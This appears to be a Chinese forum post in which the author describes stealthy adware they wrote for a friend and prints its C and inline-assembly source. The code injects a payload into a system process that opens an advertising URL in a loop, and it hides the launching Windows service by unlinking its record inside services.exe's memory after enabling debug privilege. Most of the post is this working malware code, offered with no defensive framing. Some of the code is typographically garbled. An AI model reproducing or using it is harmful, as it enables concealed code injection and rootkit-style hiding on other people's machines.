直接把代码注入到系统进程,本身是不存在进程的。
那个服务干完这事儿后,进程自动退出,服务处于停止状态。但是服务是自启动的,下次系统启动会再重复上述注入工作。
对于大多数人乃至技术人员,就跟见鬼了一样。系统里面啥异常没有,没异常服务没异常进程也没异常dll,但就是会弹广告。
不过这东西我并没有怎么使用他,是给一个朋友写的。
===============================================================
补充一下(时间久了有点记错了,隐藏服务没有用到驱动)。
注入代码大概是这样的(c结合汇编):
typedef HMODULE (__stdcall LOADLIBRARYA)( IN char lpFileName );
typedef FARPROC (__stdcall GETPROCADDRESS)( IN HMODULE hModule, IN char lpProcName );
typedef void (__stdcall *ZEROMEMORY)( IN PVOID Destination, IN SIZE_T Length ); void __stdcall CustomFunction( LPVOID my_arguments )
{
Arguments *func_args = (Arguments *)my_arguments;
LOADLIBRARYA LoadLibraryA = (LOADLIBRARYA)func_args->MyLoadLibrary;
GETPROCADDRESS GetProcAddress = (GETPROCADDRESS)func_args->MyGetAddress;
HMODULE h_kernel = LoadLibraryA( func_args->MyKernelDll );
HMODULE h_shell = LoadLibraryA( func_args->MyShellDll ); ZEROMEMORY ZeroMemory = (ZEROMEMORY)GetProcAddress( h_kernel, func_args->MyZeroMemory );
DWORD MyShellExecuteA = (DWORD)GetProcAddress( h_shell, func_args->MyShellExecute );
DWORD MySleep;
DWORD sleep_time = func_args->SleepTime; __asm
{
push eax
push esp sub esp, 6
mov byte ptr [esp], 'S'
mov byte ptr [esp+1], 'l'
mov byte ptr [esp+2], 'e'
mov byte ptr [esp+3], 'e'
mov byte ptr [esp+4], 'p'
mov byte ptr [esp+5], '\0'
lea eax, [esp] push eax
push h_kernel
call GetProcAddress
mov MySleep, eax add esp, 6
pop esp
pop eax
} while( 1 )
{
__asm
{
push eax
push esp
push ecx
push ebx sub esp, 256 mov byte ptr [esp], 'o'
mov byte ptr [esp+1], 'p'
mov byte ptr [esp+2], 'e'
mov byte ptr [esp+3], 'n'
mov byte ptr [esp+4], '\0'
lea ebx, [esp]
push SW_SHOWMAXIMIZED
push 0
push func_args
mov ecx, func_args
add ecx, 200h
lea eax, [ecx]
push eax
push ebx
push 0 call MyShellExecuteA
add esp, 256 pop ebx
pop ecx
pop esp
pop eax push sleep_time
call MySleep
}
}
}
隐藏服务大概是这样的:
typedef struct _SC_SERVICE_PROCESS SC_SERVICE_PROCESS, *PSC_SERVICE_PROCESS;
typedef struct _SC_DEPEND_SERVICE SC_DEPEND_SERVICE, *PSC_DEPEND_SERVICE;
typedef struct _SC_SERVICE_RECORD SC_SERVICE_RECORD, *PSC_SERVICE_RECORD; typedef struct _SC_SERVICE_PROCESS
{
PSC_SERVICE_PROCESS Previous;
PSC_SERVICE_PROCESS Next;
WCHAR *ImagePath;
DWORD Pid;
DWORD NumberOfServices;
// …
} SC_SERVICE_PROCESS, *PSC_SERVICE_PROCESS; typedef struct _SC_DEPEND_SERVICE
{
PSC_DEPEND_SERVICE Next;
DWORD Unknow;
PSC_SERVICE_RECORD Service;
// …
} SC_DEPEND_SERVICE, *PSC_DEPEND_SERVICE; typedef struct _SC_SERVICE_RECORD
{
PSC_SERVICE_RECORD Previous;
PSC_SERVICE_RECORD Next;
WCHAR *ServiceName;
WCHAR *DisplayName;
DWORD Index;
DWORD Unknow0;
DWORD sErv;
DWORD ControlCount;
DWORD Unknow1;
PSC_SERVICE_PROCESS Process;
SERVICE_STATUS Status;
DWORD StartType;
DWORD ErrorControl;
DWORD TagId;
PSC_DEPEND_SERVICE DependOn;
PSC_DEPEND_SERVICE Depended;
// …
} SC_SERVICE_RECORD, *PSC_SERVICE_RECORD; BOOL SetDebugPrivilege()
{
BOOL bRet = FALSE;
HANDLE hToken = NULL;
LUID luid;
TOKEN_PRIVILEGES tp; if (OpenProcessToken(GetCurrentProcess(), TOKEN_ALL_ACCESS, &hToken) &&
LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &luid))
{
tp.PrivilegeCount = 1;
tp.Privileges[0].Luid = luid;
tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
bRet = AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(TOKEN_PRIVILEGES), NULL, NULL);
} if (hToken) CloseHandle(hToken);
return bRet;
} DWORD GetProcessIdByName(WCHAR *Name)
{
BOOL bRet = FALSE;
HANDLE hProcessSnap = NULL;
PROCESSENTRY32 pe32 = { 0 };
DWORD Pid = -1; hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (INVALID_HANDLE_VALUE == hProcessSnap) return -1; pe32.dwSize = sizeof(PROCESSENTRY32); if (Process32First(hProcessSnap, &pe32))
{
do
{
if ( !_wcsicmp(pe32.szExeFile, Name ) )
{
Pid = pe32.th32ProcessID;
break;
}
}
while (Process32Next(hProcessSnap, &pe32));
} CloseHandle(hProcessSnap);
return Pid;
} // 修改内存属性
void ProtectWriteDword(HANDLE hProcess, DWORD Addr, DWORD Value)
{
MEMORY_BASIC_INFORMATION mbi;
DWORD dwOldProtect, dwWritten; VirtualQueryEx(hProcess, Addr, &mbi, sizeof(mbi));
VirtualProtectEx(hProcess, mbi.BaseAddress, mbi.RegionSize, PAGE_READWRITE, &mbi.Protect);
WriteProcessMemory(hProcess, Addr, &Value, sizeof(DWORD), &dwWritten);
VirtualProtectEx(hProcess, mbi.BaseAddress, mbi.RegionSize, mbi.Protect, &dwOldProtect);
} //寻找服务链表
PSC_SERVICE_RECORD FindFirstServiceRecord(HANDLE hProcess)
{
WCHAR FileName[MAX_PATH+1];
HANDLE hFile, hFileMap;
UCHAR * pMap;
DWORD dwSize, dwSizeHigh, i, dwRead;
SC_SERVICE_RECORD SvcRd, pSvcRd, pRet = NULL; GetSystemDirectory( FileName, MAX_PATH );
wcscat( FileName, L”\Services.exe”); hFile = CreateFile(FileName, GENERIC_READ, FILE_SHARE_READ,
NULL, OPEN_EXISTING, 0, NULL);
if (INVALID_HANDLE_VALUE == hFile) return NULL; dwSizeHigh = 0;
dwSize = GetFileSize(hFile, &dwSizeHigh); hFileMap = CreateFileMapping(hFile, NULL, PAGE_READONLY, 0, 0, NULL);
if (NULL == hFileMap) return NULL; pMap = (UCHAR)MapViewOfFile(hFileMap, FILE_MAP_READ, 0, 0, 0);
if (NULL == pMap) return NULL; dwSize -= 12;
for (i=0; i<dwSize; ++i)
{
// 搜索services!ScGetServiceDatabase特征代码
if ((DWORD)(pMap+i) == 0xa1909090 &&
(DWORD)(pMap+i+8) == 0x909090c3)
{
#ifdef DEBUG
WCHAR tmpBuffer[256] = { 0 };
wsprintf( tmpBuffer, L”map is 0x%08x\n”, (DWORD *)(pMap+i) );
LogToFile( tmpBuffer );
#endif if (ReadProcessMemory(hProcess, (PVOID)(pMap+i+4), &pSvcRd, sizeof(PVOID), &dwRead) &&
ReadProcessMemory(hProcess, pSvcRd, &SvcRd, sizeof(SvcRd), &dwRead) &&
SvcRd.sErv == ‘vrEs’) // ServiceRecord结构的特征
{
pRet = pSvcRd; #ifdef DEBUG
WCHAR tmpBuffer[256] = { 0 };
wsprintf( tmpBuffer, L”pRet is 0x%08x\n”, (DWORD *)(pSvcRd) );
LogToFile( tmpBuffer );
#endif
break;
}
}
} UnmapViewOfFile(pMap);
CloseHandle(hFileMap);
CloseHandle(hFile); //printf( “addr: 0x%08x\n”, (DWORD *)pRet );
return pRet;
} // 隐藏服务
BOOL HideService( WCHAR *Name )
{
DWORD Pid;
HANDLE hProcess;
SC_SERVICE_RECORD SvcRd, *pSvcRd;
DWORD dwRead, dwNameSize;
WCHAR SvcName[MAX_PATH] = { 0 };
dwNameSize = ( wcslen(Name) + 1 ) * sizeof(WCHAR);
if (dwNameSize > sizeof(SvcName)) return FALSE;
Pid = GetProcessIdByName( TEXT(“Services.exe”) ); #ifdef DEBUG
WCHAR tmpBuffer1[256] = { 0 };
wsprintf( tmpBuffer1, L”Pid is %d\n”, Pid );
LogToFile( tmpBuffer1 );
#endif if (Pid == -1) return FALSE; if( ! SetDebugPrivilege() ) return FALSE; hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, Pid);
if (NULL == hProcess) return FALSE; pSvcRd = FindFirstServiceRecord(hProcess);
if (NULL == pSvcRd)
{
#ifdef DEBUG
LogToFile( L”Can't Find ServiceDatabase.\n” );
#endif CloseHandle(hProcess);
return FALSE;
} do
{
if (ReadProcessMemory(hProcess, pSvcRd, &SvcRd, sizeof(SvcRd), &dwRead) &&
ReadProcessMemory(hProcess, SvcRd.ServiceName, SvcName, dwNameSize, &dwRead))
{
// 匹配服务名
if ( 0 == _wcsicmp(SvcName, Name) )
{
ProtectWriteDword(hProcess, (DWORD *)SvcRd.Previous+1, (DWORD)SvcRd.Next);
ProtectWriteDword(hProcess, (DWORD *)SvcRd.Next, (DWORD)SvcRd.Previous); #ifdef DEBUG
WCHAR tmpBuffer2[256] = { 0 };
wsprintf( tmpBuffer2, L”The Service \”%s\” Is Hidden Successfully.\n”, Name );
LogToFile( tmpBuffer1 );
#endif
CloseHandle(hProcess);
return TRUE;
}
}
else
{
break;
}
}
while (pSvcRd = SvcRd.Next); if( NULL != hProcess )
{
CloseHandle(hProcess);
} return FALSE;
}